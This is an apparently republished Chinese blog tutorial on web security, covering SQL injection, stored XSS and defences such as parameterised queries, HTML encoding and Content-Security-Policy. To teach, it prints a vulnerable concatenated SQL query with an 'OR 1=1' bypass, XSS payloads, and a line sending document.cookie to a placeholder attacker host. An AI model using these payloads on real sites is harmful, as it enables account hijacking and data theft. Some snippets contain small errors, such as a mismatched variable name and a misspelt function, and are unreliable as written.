关于web安全

Posted 时间的朋友

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了关于web安全相关的知识,希望对你有一定的参考价值。

从技术到安全, 这是一个趋势. 以前追求的是比较炫酷的技术, 等实现过后发现, 自己还能做什么. 炫技完了之后,差不多就该到悟道的时候了. 用户安全, 就是一个很大的禅. 苹果拒绝 FBI, google拒绝 替换 Michelle 图片。 这些都是保障用户安全性的一个重要示范. 而, 网页安全又是一个巨坑, 基本上没有大量的时间和精力投入,你基本上是爬不出来的. 那这个坑有多深呢? 我这里挖了浅浅的一层土, 给大家看看.

SQL injection

根据名字, 我们大致可以猜测到. 这个攻击是和sql数据库相关的(关系型数据库). 
系统的解释一下: 
sql 注入: 指的是攻击者注入一段恶意的脚本, 然后执行他想要的结果。 比如: 获取到该db 里面所有的数据,删除数据库数据.(由于, 后台给前台开放的接口通常只是作为查询使用, 所有 获取db 所有数据这类攻击比较常见).

实例攻击

这类攻击通常发生在,后台使用动态脚本生成sql query string. 而且, 途中不经过混淆处理. 如下:

var name = req.query.userName;
var pass = req.query.password;
sql = "SELECT id FROM users WHERE username=‘" + uname + "‘ AND password=‘" + pass + "‘";
database.execute(sql);

然后,attacker 可以 写入如下的sql query string:

"SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1";

即, 将pass写为: pass‘+"OR 1=1"+‘; 并, 发送给服务端处理. 
额... 结果的话, 你应该懂的
上面sql injection 只是 一个比较友好的 入侵(这算是良心黑客). 如果, 你的sql statement的操作权限不仅仅只限于查询, 还包括CRUD操作的话. 那么,hacker 能做的就大了去了.

  • 如果你的接口涉及 修改. 当hacker, inject 了一段 代码,破坏你的数据的完整性. 这种情况可能造成, 其他查询时,会出现无效查询的结果.(void transaction), 甚至返回别人的数据.

  • 如果你的接口 涉及 删除. 那结果我就不多说了.

  • 另外, 还有一些关于admin 或者 visitor的权限分配。 这也是考察数据库安全性的一个标准.

SQL 防护

第一类方法, 算是一个比较笨笨的。 通过一个blacklists正则匹配, 检测 query string里面的参数, 将一些可以字符排除掉。

第二类方法,也是最常用的。 使用数据库自带的一系列函数进行查询. 这个应该不用多说, 数据库自带库的函数 内部 对参数的处理,一定比我们重复造轮子检测正确性高~ 
比如, mongoDB 中的插入:
collection.insertMany([],cb)

XSS attack

XSS(Cross-site scripting). 你问我为什么不是CSS? 我也不知道. 
XSS主要是指跨脚本攻击, 其实就相当于执行js脚本. 经常出现在评论回复的逻辑页面中.
技术分享
以及回复:
技术分享

XSS 原理

我们先理解一下, 评论回复的流程. 
正常情况下:

  1. 用户评论的内容--comment

  2. 异步发送给Server, server 将其存储在数据库中。 成功时, 则返回新加的评论--comment

  3. 此时, 使用<p>comment</p> 将评论渲染出来.

上面一个流程可以很容易的说明一个道理, 即, 没有对comment 进行任何的处理. 在这种情况下, XSS 简直就是如鱼得水。 
比如:

//comment 为:
<script type="text/javascript">console.log(123);
</script>

//渲染出来的内容为:
<p><script type="text/javascript">console.log(123);
    </script></p>

最终渲染到页面上的结果是, p里面的内容为空,控制台输出了123. 
实际上, 评论已经被保存在数据库。 当其他用户访问时,该评论中的script 脚本同样会 发生作用.(可怕ing) 这才是, XSS 攻击最让人头疼的地方.
下图是基本运作流程图: from acunetix
技术分享

XSS 其实, 不仅仅只有script 这个东西可以使用. 凡是涉及用户输入并且渲染到页面上的,都有可能被XSS。
比如:

模板实际渲染
< img src=usrInput>< img src="#" onerror="alert(‘XSS‘)"/>
< iframe src=usrInput>< iframe src="http://xss.html">
< input type=userInput>< input type="image" src="#" onerror="alert(‘XSS‘)"/>
background插入background:url(javascript:alert(XSS));
......

所以上面就是针对标签属性进行XSS 攻击. 这类方式的防止很好解决。就是使用setAttribute方法进行设置即可.

XSS 能做什么?

通过将脚本嵌套在正规页面上, 用户在打开该页面时, 根本无法察觉, 自己已经变成XSS‘s victim. 所以, 当用户打开网站时, malicious 脚本便会执行. 该脚本通常能做的事情:

  • 通过document.cookie 获取用户的cookie信息. 而且,如果你的token 不是放在Server 端,而是放在用户cookie中,那么hacker 就完全获得该用户的信息, 假冒用户进行登录.
    比如: window.location=‘http://attacker/?cookie=‘+document.cookie

  • 脚本能够对界面进行修改

  • 如果页面上有用户输入的私密信息,比如银行账号,密码等。就可以绑定监听, 并通过ajax将信息发送给hacker. (跨域完全可以通过CORS解决)

  • 使用H5的相关API, 获得用户的人身信息. 比如, 摄像头, 地理位置等. 当然, 用户也不是傻, 不会平白无故的就把确认点了(使用这些API时, 需要获取用户的同意). 但在 social engineering 面前, 这一切都不是事.

  • 地址的重定向, 这应该不用过多解释. 只要使用window.location.href即可.

prevent XSS attack

现在,我们已经知道xss的原理,即, 通过嵌入script脚本, 执行恶意的操作. 所以, 最基本的防护可以分为两种:

  • 验证: 通过验证用户输入的内容, 是否符合规则. 防止hacker插入, 恶意代码.

  • Encoding: 其实就相当于字符的转义. 比如: 将‘<‘ 转换为: &lt. ‘>‘转换为: &gt. (防止插入<script>或者其他tag--< p>< /p>)

验证
实际上, 验证可以分为blacklist 和 whitelist验证. 不过,blacklist 只是作为介绍, 在正式开发中, 最常使用的应该算是whitelist.

  • blackList
    这种方法其实就相当于枚举法, 只是, 他猜测的方向是针对hacker用户. 比如. 设置一个正则./<script/g. 使用,replace进行替换, 或者弹出提醒框.

  • whitelist
    这和blacklist一样, 只是里面设置的是对正确内容的验证. 该方法,主要是注册时候使用。 对用户名, 昵称等信息,使用相关的正则表达式进行验证。 这就是典型的whitelist 方法.

Encoding:
这个方法就比较实诚了,没有浮夸的正则. 有的是一些自定义的convert。 比如上面提到的:
Convert & to &amp;
Convert < to &lt;
Convert > to &gt;
Convert " to &quot;
Convert ‘ to &#x27;
Convert / to &#x2F;

这样, 可以防止嵌入的scipt脚本执行, 使其变为 data 直接渲染到页面上. 下面我们针对不同的场景具体说明一下, XSS保护的措施.

针对标签属性的XSS防护

在讲解标签防护之前,我再把上面的XSS attack实例搬下来:

模板实际渲染
< img src=usrInput>< img src="#" onerror="alert(‘XSS‘)"/>
< iframe src=usrInput>< iframe src="http://xss.html">
< input type=userInput>< input type="image" src="#" onerror="alert(‘XSS‘)"/>
......

上面提到了,可以使用setAttribute进行内部的encoding. 在client-side 还有其他方法可以实现.

用户输入转义方法
< p>usrInput< /p>eleP.textContent=usrInput
< p attr>ele.setAttribute(attr,usrInput)\\ele[attr]=usrInput
URL paramwindow.encodeURLComponent(usrInput)
style valueele.style.prop = usrInput

简而言之就是尽量在操作用户输入的数据的时候,减少innerHTML和outerHTML出现的频次. 
这里,还需要对URL para做一点补充.

对于URL encoding的选择

对于encoding的方法,原生js 提供了3个global Funciton.

  • escape()

  • encodeURI()

  • encodeURIComponent()

实际上,他们3个都可以作为encoding的方法. 但是, 既然都可以,那为什么会有3个呢?
in fact, 他们的专业方向还是很不一样的.

  • escape()
    该方法主要是对字符串(string)进行编码(ascii). 所有的空格,标点,以及任意的非ASCII字符都会被形如: %xx的替代. 如果 character 的 比特数>255 则会使用 %uxxxx来代替--最明显的例子就是中文. 其中,这几个字符@*/+不会被编码.

接受的参数就是string. 即. escape(str); 详细demo 可以参考:xkr escape
其对应的decode的方法是: unescape();
该方法主要的应用场景是对 传输内容进行转换, 比如插入数据库的内容等. (实话说,使用频次还是挺低的)

  • encodeURI()
    该方法是一个比较常用的编码url的方法. 通常,是用来将url字符全部转化为合法字符, 进行传输.

比如: encodeURI("http://example.com?name=坏人")
输出的结果为:http://example.com?name=%E5%9D%8F%E4%BA%BA.
encodeURI 不会对下列字符进行convert:ASCII字母,数字,[email protected]#$*()=:/,;?+& ‘
对应的decode方法为: decodeURI
主要使用场景有:对URL进行编码, 
以及post方式,指定Content-Type:application/x-www-form-urlencoded 时,传输的encodeURI(str)内容.

  • encodeURIComponent()
    这个方法最容易和encodeURI 混淆. 实际上, 该方法只针对于URI中的 query.(甚至连search部分都不能用,想想都是怕的).

该方法不会对: ASCII字母 数字 ~!*()‘进行convert.
其对应的decode方法有: decodeURIComponent

所以, 在形如.
< a href="http://example.com?usrInput">link</a >
我们就需要对usrInput进行encodeURI(), 编码转化了.
以及,在动态添加styel时,对于background或者background-url里的, usrInput 进行encodeURI().

对于input内容进行防护

这个主要就是针对于评论内容了. 不过由于内容过于复杂,这里就不详述。 大概就是上面的几点,以及 字符的转化. 
推荐使用XSS module 进行转化.

CSP之终极防护

我一直深信着一句话

There is no absolute security system

就算一个小小的lapse也会给hacker 可乘之机. 所以, 在进行XSS 防护时, 难免会有些遗漏, CSP 应该算是在hacker 找到漏洞后的一道有力的防线.CSP 我已经在我另外一篇博文里面阐述了CSP页面防护
CSP的设计目的就是为了增强网页的安全性,解放程序员和hacker的死磕. 而且,对于XSS的防护有这天然的优势. 因为XSS,主要就是插入内嵌或者 跨域的script 执行.
而CSP可以做到的就有:

  • 不加载不安全脚本

  • 不执行内联脚本

  • 不执行eval函数

那, 应该如何使用呢?
CSP主要和响应头--Content?Security?Policy 相关.
通过server-side 返回Content?Security?Policy 头,来启用不同程度的防护措施. 这里,我们只介绍于XSS相关的. 
通常,我们可以在CSP 头里设置一些相关directive.比如:

  • default-src: 默认资源设置, 比如js,css,img,fonts,xhr等

  • script-src: 设置js脚本的相关方法

  • style-src: 设置css脚本的相关方法

  • img-src: 设置图片的相关方法

  • child-src: 设置iframe的相关sandbox

  • ...

不过我们一般只需要了解前4个即可. 每个值可以取相关的属性.比如: default-src self. 表示默认页面的资源只能加载同域的内容.
我们来着重看一下 default-src 可以设置的内容

propertyeffect
none不允许从任何地方加载资源(估计用不上)
self运行从同域的server下载资源
unsafe-inline允许运行内联脚本
unsafe-eval允许运行eval方法

比如: 我们可以设置 script-src ‘self‘. 此时, 只允许同域资源. 并且不会执行内联脚本和eval函数. 如果解除两者的限制,可以添加上.
script-src ‘self‘ ‘unsafe-inline‘;
另外, 我们还可以设置跨域脚本的执行
script-src ‘self‘ http://example.com
这样,资源不仅仅可以从同源server-side下载,还可以从example.com 下载.
推荐一个,比较好的CSP头的设置内容:

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

关于web的安全问题

Java经典安全数组实现的代码

关于react16.4

关于代码片段的时间复杂度

JAVA WEB代码片段